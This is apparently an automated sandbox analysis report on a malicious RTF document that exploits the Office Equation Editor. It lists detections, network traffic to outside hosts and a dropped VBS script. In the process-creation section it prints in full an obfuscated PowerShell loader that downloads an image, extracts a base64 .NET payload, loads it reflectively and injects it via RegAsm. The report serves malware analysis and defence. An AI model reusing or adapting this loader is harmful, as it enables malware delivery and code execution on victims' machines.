Windows Analysis Report
4YlwTsmpuZ.rtf

Overview

General Information

Sample name: 4YlwTsmpuZ.rtf
renamed because original name is a hash value
Original sample name: 9904916ce3549610216e99d83e7e2135.rtf
Analysis ID: 1466761
MD5: 9904916ce3549610216e99d83e7e2135
SHA1: d5eefab14ee9d5afa6258d3b399b46f779a56901
SHA256: a887cfb81844497f8f88e558289f89d8edb3f277f142df636f5267cc8263d198
Tags: rtf
Infos:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Document exploit detected (process start blacklist hit)
Installs new ROOT certificates
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 4YlwTsmpuZ.rtf Avira: detected
Multi AV Scanner detection for domain / URL
Source: uploaddeimagens.com.br Virustotal: Detection: 5% Perma Link
Source: https://uploaddeimagens.com.br Virustotal: Detection: 6% Perma Link
Source: http://uploaddeimagens.com.br Virustotal: Detection: 5% Perma Link
Source: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235 Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for submitted file
Source: 4YlwTsmpuZ.rtf Virustotal: Detection: 52% Perma Link
Source: 4YlwTsmpuZ.rtf ReversingLabs: Detection: 50%

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 23.95.235.16 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035105D5 LoadLibraryW, 2_2_035105D5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03510696 ShellExecuteW,ExitProcess, 2_2_03510696
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03510668 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_03510668
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03510681 ShellExecuteW,ExitProcess, 2_2_03510681
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0351050A ExitProcess, 2_2_0351050A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035106BB ExitProcess, 2_2_035106BB
Suspicious execution chain found
Source: C:\Windows\SysWOW64\wscript.exe Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: uploaddeimagens.com.br
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 23.95.235.16:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 23.95.235.16:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 23.95.235.16:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 23.95.235.16:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 23.95.235.16:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 23.95.235.16:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 23.95.235.16:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.29:80 -> 192.168.2.22:49162
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 91.92.254.29 80 Jump to behavior
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03510668 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_03510668
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.95.235.16 23.95.235.16
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /33011/greatideaforfollowers.gif HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.95.235.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/syscore/file_xgep41gp.dyp.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 91.92.254.29
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 23.95.235.16
Source: unknown TCP traffic detected without corresponding DNS query: 23.95.235.16
Source: unknown TCP traffic detected without corresponding DNS query: 23.95.235.16
Source: unknown TCP traffic detected without corresponding DNS query: 23.95.235.16
Source: unknown TCP traffic detected without corresponding DNS query: 23.95.235.16
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 23.95.235.16
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.29
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03510668 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_03510668
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F0D9C1B9-F0D5-4902-9161-FED34811C4AD}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /33011/greatideaforfollowers.gif HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.95.235.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/syscore/file_xgep41gp.dyp.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 91.92.254.29
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: uploaddeimagens.com.br
Source: EQNEDT32.EXE, 00000002.00000002.346070197.00000000005DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://23.95.235.1
Source: EQNEDT32.EXE, 00000002.00000002.346070197.00000000005FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://23.95.235.16/33011/grJ
Source: EQNEDT32.EXE, 00000002.00000002.346070197.000000000059F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://23.95.235.16/33011/greatideaforfollowers.gif
Source: EQNEDT32.EXE, 00000002.00000002.346271165.0000000003510000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://23.95.235.16/33011/greatideaforfollowers.gifj
Source: EQNEDT32.EXE, 00000002.00000002.346070197.000000000059F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://23.95.235.16/33011/greatideaforfollowers.gifyyC:
Source: wscript.exe, 00000005.00000002.359992594.0000000000677000.00000004.00000020.00020000.00000000.sdmp, greatideaforfollowers.vBS.2.dr, greatideaforfollowers[1].gz.2.dr String found in binary or memory: http://91.92.254.29/Users_API/syscore/file_xgep41gp.dyp.txt
Source: powershell.exe, 00000006.00000002.359414442.0000000004FF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000002.359414442.0000000004FF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000006.00000002.358503012.00000000025B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: powershell.exe, 00000006.00000002.359196589.00000000034A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.358503012.0000000002481000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.358503012.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://uploaddeimagens.com.br
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000006.00000002.359196589.00000000034A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.359196589.00000000034A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.359196589.00000000034A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.359196589.00000000034A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.359414442.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000002.358503012.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br
Source: powershell.exe, 00000006.00000002.358383867.00000000004D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/
Source: powershell.exe, 00000006.00000002.358503012.00000000025B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.359414442.0000000004F86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235
Source: powershell.exe, 00000006.00000002.358503012.00000000025B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235YKo;
Source: powershell.exe, 00000006.00000002.358503012.00000000025B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235p
Source: powershell.exe, 00000006.00000002.358503012.0000000002FCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358503012.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358503012.0000000002FCF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358503012.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358503012.0000000003015000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: powershell.exe, 00000006.00000002.358503012.0000000002FCF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358503012.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358503012.0000000003015000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 4YlwTsmpuZ.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3200, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )" Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Yara signature match
Source: 4YlwTsmpuZ.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: Process Memory Space: powershell.exe PID: 3200, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.expl.evad.winRTF@7/12@1/3
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$lwTsmpuZ.rtf Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR65F3.tmp Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\greatideaforfollowers.vBS"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: 4YlwTsmpuZ.rtf Virustotal: Detection: 52%
Source: 4YlwTsmpuZ.rtf ReversingLabs: Detection: 50%
